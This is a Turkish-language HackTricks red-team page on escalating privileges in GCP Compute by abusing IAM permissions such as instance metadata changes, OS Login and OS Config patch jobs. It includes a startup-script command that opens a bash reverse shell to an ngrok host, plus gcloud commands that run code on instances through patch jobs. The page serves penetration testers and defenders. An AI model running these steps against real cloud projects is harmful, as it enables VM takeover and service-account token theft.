GCP - Compute Privesc

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Hesaplama

Daha fazla bilgi için GCP'de Hesaplama ve VPC (ağ) hakkında kontrol edin:

Tüm ayrıcalık yükseltme saldırılarını gerçekleştirmek için, örneğin, örneğin metadatanın değiştirilmesini gerektiren saldırılar için, önce örneğe bağlı SA üzerinde actAs izinlerine sahip olmanız gerektiğini unutmayın, hatta SA zaten bağlı olsa bile!

compute.projects.setCommonInstanceMetadata

Bu izinle bir örneğin metadata bilgilerini değiştirebilir ve bir kullanıcının yetkili anahtarlarını değiştirebilir veya sudo yetkilerine sahip yeni bir kullanıcı oluşturabilirsiniz. Bu nedenle, herhangi bir VM örneğine SSH üzerinden giriş yapabilir ve örneğin çalıştığı GCP Hizmet Hesabını çalabilirsiniz. Sınırlamalar:

  • VM örneklerinde çalışan GCP Hizmet Hesapları varsayılan olarak çok sınırlı bir kapsama sahiptir

  • SSH sunucusuna bağlanabilmelisiniz giriş yapmak için

Bu izni nasıl sömürüleceği hakkında daha fazla bilgi için kontrol edin:

Bu saldırıyı yeni başlangıç betiği ekleyerek ve örneği yeniden başlatarak da gerçekleştirebilirsiniz:

gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

Bu izin, bir bütün proje yerine belirli örnekler üzerinde aynı ayrıcalıkları verir. Önceki bölümde olduğu gibi aynı zafiyetler ve kısıtlamalar geçerlidir.

compute.instances.setIamPolicy

Bu tür bir izin size önceki izinlerle kendinize rol verme ve bu izinleri kötüye kullanarak ayrıcalıkları yükseltme olanağı sağlar.

compute.instances.osLogin

Eğer örnekte OSLogin etkinse, bu izinle sadece gcloud compute ssh [INSTANCE] komutunu çalıştırarak örneğe bağlanabilirsiniz. Örneğin içinde root ayrıcalıklarınız olmayacak.

compute.instances.osAdminLogin

Eğer örnekte OSLogin etkinse, bu izinle sadece gcloud compute ssh [INSTANCE] komutunu çalıştırarak örneğe bağlanabilirsiniz. Örneğin içinde root ayrıcalıklarınız olacak.

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

Bir hizmet hesabına atanan bir sanal makine oluşturarak ve hizmet hesabının belirteci çalınarak ayrıcalıkları yükseltmek mümkündür.

Bu yöntemin zafiyet betiği burada bulunabilir.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

Eğer osconfig.patchDeployments.create veya osconfig.patchJobs.exec izinleriniz varsa bir yama işlemi veya dağıtımı oluşturabilirsiniz. Bu, ortamda yatay hareket etmenizi ve bir projedeki tüm hesaplama örneklerinde kod yürütme yetkisi kazanmanızı sağlar.

Bu işlemi manuel olarak kullanmak isterseniz ya bir yama işlemi ya da dağıtım oluşturmanız gerekecektir:

gcloud compute os-config patch-jobs execute --file=patch.json

Bir yama dağıtımı dağıtmak için:

gcloud compute os-config patch-deployments create my-update --file=patch.json

patchy gibi otomatik araçlar, gevşek izinleri tespit etmek ve otomatik olarak yatay hareket etmek için mevcuttur.

Bu ayrıca kalıcılık için de kötüye kullanılabilir.

compute.machineImages.setIamPolicy

Kendinize ekstra izinler vermek için makine Görüntüsüne izin verin.

compute.snapshots.setIamPolicy

Disk anlık görüntüsüne ekstra izinler verin.

compute.disks.setIamPolicy

Diske ekstra izinler verin.

Erişim Kapsamlarını Atlatma

Bu bağlantıyı takip ederek erişim kapsamlarını atlamak için denenebilecek bazı fikirler bulabilirsiniz.

GCP Hesaplama Örneğinde Yerel Ayrıcalık Yükseltme

Referanslar

Last updated